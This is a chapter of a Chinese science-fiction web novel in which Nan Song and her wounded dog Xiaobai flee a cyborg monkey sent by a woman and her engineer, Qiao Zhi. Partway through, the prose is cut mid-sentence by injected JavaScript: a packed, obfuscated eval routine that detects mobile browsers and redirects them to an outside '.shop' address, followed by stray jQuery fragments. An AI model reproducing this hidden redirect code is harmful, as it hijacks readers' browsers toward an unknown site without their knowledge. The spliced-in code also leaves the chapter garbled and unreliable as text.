小白咬着牙撑起来,四肢抖得几乎站不稳,一次次迎上去又被打下来,南淞好不容易洗干净的毛发,此刻却被血一寸寸染透,红得刺眼。
可它硬是一声不吭,固执得重复着挨打、再站起来的过程。
只是这一次,猴子明显不耐烦,甩手的力气都大了许多,砰地一声!把它甩到桌子后面,身体砸在地上差点没醒过来。
它艰难地抬起眼,看向前方的桌子上,那里留着南淞没来得及喝的水,老妇人怕晚上干燥,才没给倒了,一直留到现在。
它用爪子擦去嘴角留下的血,突然开口说通用语:“他们能把你改造成这样,也算是拿到大结果了。”
猴子听到它的声音,眼神里的监视器突然闪了一下,连掐南淞的手都松了,让她原本涨红的脸获得一丝喘息。
小白用尽全力跃上桌子,与猴子平视,抓住它愣神的空隙,咬起碗猛地向床头泼去。
可惜猴子外壳是防水的料子,水滴顺着胸口一路向下,最后全部落在木板上。
反倒是南淞被水浇了个透,枕头上顺着脸的轮廓边加深了颜色。
但这一泼,恰好让深陷噩梦的南淞醒了过来,身上的禁锢骤然消失,视线、听觉、动觉全部回笼。
她刚睁开眼,就看到面前站了一个不知是人是鬼的东西,长得不像是这个世界的产物,脖子上还搭着它的机械臂。
猴子感受到床上传来的动静,眼里的监视器转动几次后,重新变回红色,锁定在南淞脸上,操控手臂要去杀她。
南淞刚醒过来不久,本来就迷糊,之前又被掐了这么久,让原本迟钝的大脑更加找不到北。
她顿在原地,用比较礼貌地语气问:“你是谁?”
“它是怪物,快走!”一个不知道从何处来的声音警告她。
只一声,让屋外蹲守的人瞬间警觉,从草坪外往回赶。
南淞听着越来越近的脚步声,歪头躲过猴子的手,紧接着侧身摔下床,侧肩先落地,下身好在有被子裹着,屁股摔得不算太疼。
肩上的疼觉让大脑清醒不少,南淞转头看见桌角下的小白,身上多处鲜血染出来的红色,连地板附近都能隐隐看出血的印记。
“小白?!”
南淞手肘撑着地面,身子还没直起来,就踉跄地朝它跑去,一路上跌跌撞撞扑到它的面前,把小白抱在怀里。
一刻也没敢停,把手边趁手的东西往猴子扔去,第一次还有些用处,能拖延不少时间。
但随着手边的东西越来越少,猴子已经能提前预判动作的轨迹,并一步步向南淞逼近。
南淞顶着心底要涌出的恐惧,手抖到咬紧牙关才堪堪控制,拽起掉在地上的被子,一挥掀到猴子的脸上。
视野被遮住的那一刻,猴子目标丢失,监视器失去任务指令,顿在原地一动不动。
南淞看准时机,双手抱起萨摩耶就往后门跑,今早抱几步路都费劲,强大的求生欲上来,竟然能抱着跑出一小段路来。
她喘着粗气,还不忘晃怀里的小狗:“小白?小白?你能听到我说话吗?”
小白蜷缩在一块,嘴里如说梦话般呢喃:“奶奶还没出来……”
她来了之后,木屋的位置不够,沈爷爷跟老妇人把床让了出来,现在住在半山腰的花田上。
南淞听到它的声音呼出一口气:“放心吧,他们在半山腰上,比起他们,我们处境更危险些。”
她实在跑不动了,找了一个相对隐蔽的斜坡,把小白放在地上,顺便喘口气。
仅仅只是一次深呼吸的时间,为首的女人便带着猴子追了上来。
南淞将整个身体都藏进草丛里,用底下的土抹满脸颊,只留出一双眼睛,顺着草茎的缝隙偷窥她们。
为首的女人身穿红色大袄,坐着一把能在空中飞行的圆盘,猴子跟在她身后,身旁还跟着一个壮硕的男人,打着光替她照明前面的路。
距离太近,南淞不敢一直盯着,许多细节看不清楚。
只听到女人对猴子伸出手:“监控接口。”
三人面前出现一个虚拟光屏,把插口接上后,光屏便以第一视角开始播放,女人调高倍速看完整段视频。
进度条的最后,定格在南淞把被子盖在监控器上,一片漆黑。
女人面露不善,转头无声质问男人。
男人咽下一口唾沫,低下头不敢直视她的眼睛:“抱歉,我回去一定修改好这个程序问题,保证不会再有下一次。”
女人摇摇头,冷声喊出他的名字:“乔植,没有下次了,工具用不趁手,应该换一个,而不是花时间修这种残次品,人也一样。”
男人听出来最后一句是特意说给他听的,抬眸看了一眼猴子,又恭敬地弯回去:“是,我清楚了。”
女人没再纠结下去,反而指着屏幕上南淞的脸:“这个女人,一个不起眼的垃圾星店长,跟燕铮有关系,陆屿又替她说过话,现在居然还能让芯片失效,到底从哪冒出来的。”
乔植:“陆屿在审问的时候提起过,燕铮对她很上心,两人甚至住在一个房间。”
南淞听到他们提起燕铮的名字,侧过脑袋,竖起耳朵听。
“住在一个房间?”女人的椅子停下,调转方向对着男人。
“说清楚点,什么叫住在一个房间,燕铮失眠这件事虽然没传出来,但从陆屿偷出来的档案袋里能看出来,开的药都是治疗神经亢奋的,燕铮睡觉,怎么可能允许房间里有另一个人!”
男人擦去鼻尖上冒出的汗,攥紧了手说:“陆屿确实是这样说的。”
她的视线掠过远方,不带一丝温度地冷笑:“是啊,她能让芯片失效,自然也能治好燕铮的失眠,既然如此,这个人更不能留了。”
乔植为了将功补过,把还没调整好的新程序,提前说出来:“23号经过改造后,现在能识别气味,我们可以靠这个缩小范围。”
他故意没说副作用,在程序不稳定的情况下,使用宿主原本的生理结构,会间接唤醒他的意识。
乔植团队在目前,还没研发出能完全屏蔽意识的芯片,可女人催得急,只好把这个功能先说出来,稳住她的情绪。
“有这个技能……为什么不早用!要是她跑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17955192|209359||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了怎么办!”
女人对他大吼一声,中气十足,吓得乔植跪在地上一动都不敢动,嘴皮子哆哆嗦嗦地说:“不……不会的,她身上还带着一个累赘,不会跑太远。”
女人盯着他,一个字一个字往外吐:“还不快去找。”
乔植闻声便想起身走,却又听到女人说话,抬起来的腿立刻跪了回去。
“让孟宿清来矿洞里找我,陆屿被关了这么久,吃下去不少苦头,在我面前还是一副自视清高的模样,硬说自己没有背叛父亲,当时孟宿清也在审讯室,要是他也承认了陆屿的说法,这件事才算完,否则,通通下地狱去吧。”
女人声音逐渐娇俏,说的话倒让人不寒而栗。
“是。”乔植回了她一声,转身去弄猴子的程序面板。
南淞听完所有,想带着小白离开这个地方,刚抬起它的手臂,一道强光向她扫过。
但是没发现他们的具体位置,很快又朝旁边的树上去了。
正当她送一口气的时候,猴子猛地朝她的方向跑来,电线手臂一把拽起草丛,茎丝带着土被连根拔起。
南淞呼吸一滞,大脑一片空白,下意识想跑却抬不起双脚,整个人被定在了原地。
男人从后面露出脸,上下打量着她:“居然藏在这里偷听了这么久,不过没关系,我们会用最直接的办法,让一个死人闭嘴。”
乔植挥挥手,示意23号动手杀了她。
南淞眼疾手快地捂住脑袋,可时间一分一秒过去,没等到打下来的攻击,反倒听见男人的骂声。
“23号!我说杀了她!!你听不到吗!!!”
猴子愣愣地看着小白布满鲜血身体,眼里的红光消失,取而代之的,更像是它原本的眼球。
猴子伸手向萨摩耶探去,南淞以为是它要伤害小白,顾不上自己,伸开手挡在小白身前。
“小白?”
猴子声音极轻,要不是南淞靠得近,怕是要像男人那般,一直追问不休:“什么小白,你在说什么?!”
猴子把说个不停的乔植扔下坡去,转头又推开南松。
双手差点就要碰到小白了,女人从口袋里拿出一个操控器,毫不犹豫摁下中间的按钮。
猴子中心的干预灯亮起,电流席卷全身,它的后背瞬间僵直,手指深深嵌入掌心,面部扭曲成狰狞的怪相。
约莫十几秒后,猴子脸上再无表情,眼神也变回空洞的监视器摸样。
女人在下面冷哼一声,只简单地说出三个字:“杀了你面前的女人,包括那只狗。”
猴子的脖子像卡住的自行车链条,一顿一顿地转头看她,机械臂往后抡圆了。
南淞在脑海里找寻无数个救命的办法,可是这里人烟稀少,自己又没有战斗力,跑也跑不过。
就算真的死在这里,怕是连收尸的人都没有。
手掌打过来的轨迹里带着风,南淞紧紧闭上双眼,没想到一次外出会变成死亡的开始。
耳边发出铁器相撞的爆鸣声,狂风卷起发烧,飘扬在眼前。
有一个人,替她挡下了这一击。